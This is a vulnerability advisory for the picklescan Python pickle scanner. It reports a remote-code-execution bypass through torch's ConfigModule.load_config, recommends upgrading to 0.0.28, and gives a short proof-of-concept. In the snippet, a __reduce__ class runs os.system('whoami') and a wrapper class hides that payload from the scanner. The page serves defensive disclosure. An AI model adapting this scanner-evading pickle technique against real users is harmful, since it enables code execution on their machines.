Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.
Start learningUpgrade picklescan
to version 0.0.28 or higher.
picklescan is a Security scanner detecting Python Pickle files performing suspicious actions
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to using torch.utils._config_module.load_config
function. An attacker can execute arbitrary code by crafting a malicious pickle file that leverages this function to bypass security checks, which may then be loaded with pickle
by a user.
import pickle
from torch.utils._config_module import ConfigModule
class Evil:
def __reduce__(self):
return (os.system, ('whoami',))
class EvilTorchUtilsConfigModuleLoadConfig:
def __reduce__(self):
evil_payload = pickle.dumps(Evil())
return ConfigModule.load_config, (None, evil_payload)